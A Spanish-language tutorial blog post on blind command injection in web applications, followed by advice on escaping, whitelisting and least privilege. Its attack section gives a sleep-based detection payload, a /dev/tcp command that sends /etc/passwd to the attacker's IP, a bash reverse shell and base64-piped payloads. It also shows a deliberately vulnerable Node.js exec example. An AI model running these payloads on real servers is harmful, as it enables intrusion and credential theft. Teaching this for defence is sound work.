Inyección de Comando Ciego


Ejecutar un ataque de Inyección de Comando es básicamente ejecutar un comando del sistema en un servidor determinado a través de una aplicación web o alguna otra aplicación explotable que se ejecute en dicho servidor. Ejecutar un ataque de inyección de comando ciego significa que no puedes ver la salida del comando que has ejecutado en el servidor.

Esta es una de las razones por las que siempre debes configurar tu servidor con varias cuentas de usuario, de modo que los diferentes procesos que no necesitan acceso a los demás archivos y comandos no tengan ese acceso. Una aplicación web, sobre todo, nunca debería tener permisos de root.

Encontrar una vulnerabilidad

Intentaremos atacar un servidor a través de un sitio web. La vulnerabilidad existe con mayor frecuencia en las entradas de los formularios. Cuando se envía una entrada no sanitizada a una función como exec, que ejecuta comandos del sistema, entonces la aplicación es vulnerable a la inyección de comandos. Esto ocurre en varias situaciones, como por ejemplo:

  • en servicios de ping y de red
  • en las cargas de archivos donde se usan herramientas externas para recortar o modificar la imagen

La forma más común de explotar la inyección de comandos es agregando un signo ; y un comando en el campo del formulario. Un punto y coma separa los comandos y, por ende, señala el inicio de un nuevo comando; por lo tanto, se ejecutará el comando que inyectes. Otra forma es usar la sintaxis $(). Todo lo que esté dentro de $() se ejecutará y la salida se colocará en el comando. Por ejemplo echo "hello, I am $(whoami)" arrojará **“hola, soy <el usuario que ejecutó el comando>” **. Una manera fácil de detectar este tipo de vulnerabilidad es escribiendo en $(sleep 5). Si tarda 5 segundos en completar la solicitud, la entrada es vulnerable. Además, podemos hacer $(sleep 5; echo <valid input>) para que la entrada no cambie (y por lo tanto el comando no falle), pero aún así habrá un retraso.

¿Qué está pasando detrás del escenario? Tomemos un comando de ping, por ejemplo: exec('ping ' + inputIpAddress)

Si inputIpAddress es ‘8.8.8.8’, el comando se verá así: ping 8.8.8.8

Sin embargo, si inputIpAddress es $(sleep 5; echo 8.8.8.8), entonces el comando se verá así: ping $(sleep 5; echo 8.8.8.8), y después de que la expresión $() haga la evaluación (lo cual tomará 5 segundos), entonces el comando evaluado se verá así: ping 8.8.8.8.

Por supuesto, si $() no funciona (debido a la lista negra, por ejemplo), también podemos intentar inyectar ;sleep 5 o `sleep 5` o… digamos que hay muchas opciones.

Dando un paso más allá

Por supuesto, identificar la vulnerabilidad es solo el comienzo. El siguiente paso suele ser obtener acceso shell al servidor y extraer datos. Esto significa conectarse de nuevo contigo mismo desde el servidor hackeado. La forma más simple de extraer datos puede ser que el servidor te envíe los archivos que deseas recibir. Para eso, escuchemos las conexiones entrantes con netcat -lnvp <port>. Luego, en el servidor vulnerable, debemos ejecutar el siguiente comando:

cat /etc/passwd > /dev/tcp/<your public ip>/<port>
Esto te enviará el contenido de /etc/passwd. cat es un comando que lee un archivo.

Para los shells inversos, hay varias opciones, pero una de las más comunes es: /bin/bash -i >& /dev/tcp/<your public ip>/<port> 0>&1
Tendrás que volver a escuchar las conexiones entrantes con netcat -lnvp <port>. Toma en cuenta que para que esto funcione: 1) Debe instalarse Bash en el servidor de destino. 2) El servidor de destino debe poder conectarse contigo. Por lo general, los probadores de penetración estarán en la misma red que el servidor de destino o tendrán su propio servidor en ejecución, al que se puede acceder públicamente.

Una forma de hacer que estas inyecciones de comandos sean más confiables es mediante la codificación base64. Entonces la carga útil final se verá más o menos así: echo <base64 encoded payload> | base64 -d | /bin/bash
Vamos a canalizar la carga útil codificada en base64 a base64 -d, que decodifica la carga útil. Luego vamos a canalizar la carga útil decodificada a bash, que la ejecutará. Con un shell inverso, podremos ejecutar comandos interactivamente y ver el resultado.

Protección contra la inyección de comandos

Hay muchas formas de protegerse contra esto:

No ejecutar comandos del sistema

Obviamente, esta es la protección perfecta, pero no exactamente la más recomendada en cada situación. Solo asegúrate de que realmente necesitas ejecutar comandos del sistema antes de implementarlos. Por lo general, puedes utilizar alguna biblioteca destinada a tu tarea.

Entrada de escape

En npm hay un paquete llamado shell-escape, que escapa a cualquier entrada maliciosa.

const shellescape = require('shell-escape');
const args = ['echo', 'hello!', 'how are you doing $USER', '"double"', "'single'"];
const escaped = shellescape(args);

La cadena de caracteres escaped ahora se puede ingresar de forma segura en una función exec.

Validar entrada del usuario

Si no hay forma de ejecutar los comandos del sistema, debes asegurarte de que el usuario no haya escrito ningún código malicioso en un campo de formulario. La forma más fácil es verificar si hay símbolos sospechosos como ; y #. Esto se llama poner en listas negra. Sin embargo, para estar realmente seguro, deberás asegurarte de qué tipo de cadenas están permitidas y colocar en lista blanca los símbolos. Por ejemplo, si tu comando acepta un nombre de archivo, entonces debes incluir en la lista blanca las letras, los números y el punto.

Aquí hay un ejemplo de node.js con Regex donde un usuario puede eliminar un archivo:

const util = require('util');
const exec = util.promisify(require('child_process').exec);
if (/^[a-zA-Z0-9]+\.[a-z]{1,5}$/g.test(filename)) {
    exec(`rm ${filename}`).then((result) => {
        console.log(result);
    }).catch((error) => {
        console.log(error);
    });
} else {
    throw Error('Not a filename');
}

El siguiente ejemplo es vulnerable, ya que no sanitiza los datos de entrada del usuario. El usuario puede insertar cualquier código malicioso que pueda encontrar y el nodo lo ejecutará en el servidor.

const util = require('util');
const exec = util.promisify(require('child_process').exec);
async function doCommand(userInputUri) {
    const newFile = 'uploads/users/' + userInputUri.split('/').pop();
    await exec(`wget -O ${newfile} ${userInputUri}`);
}

Revisión de código

Regex puede complicarse, así que asegúrate de que un compañero de equipo o compañero de trabajo revise tu código y, si es posible, haz que un probador también pruebe sus trucos en el código.

Mantener los permisos de usuario separados

Como precaución adicional, esto ayuda al administrador del servidor a mantener las cuentas de usuario separadas cuando sea posible. Lo más importante es que la aplicación web no debería tener más permisos de los que son absolutamente necesarios. Sobre todo, no le otorgue permisos de root, eso podría causar un accidente inminente.

Conclusión

La inyección de comandos es una vulnerabilidad increíblemente peligrosa. Incluso si el atacante no puede ver la respuesta del servidor, como es el caso de la Inyección de comando ciego, esto realmente no lo detiene. Sin embargo, es bastante fácil de evitar. Al minimizar el uso de funciones que ejecutan comandos del sistema y sanitizar los datos de entrada del usuario, podemos evitar que nuestros servidores sean tomados.

Heino Sass Hallik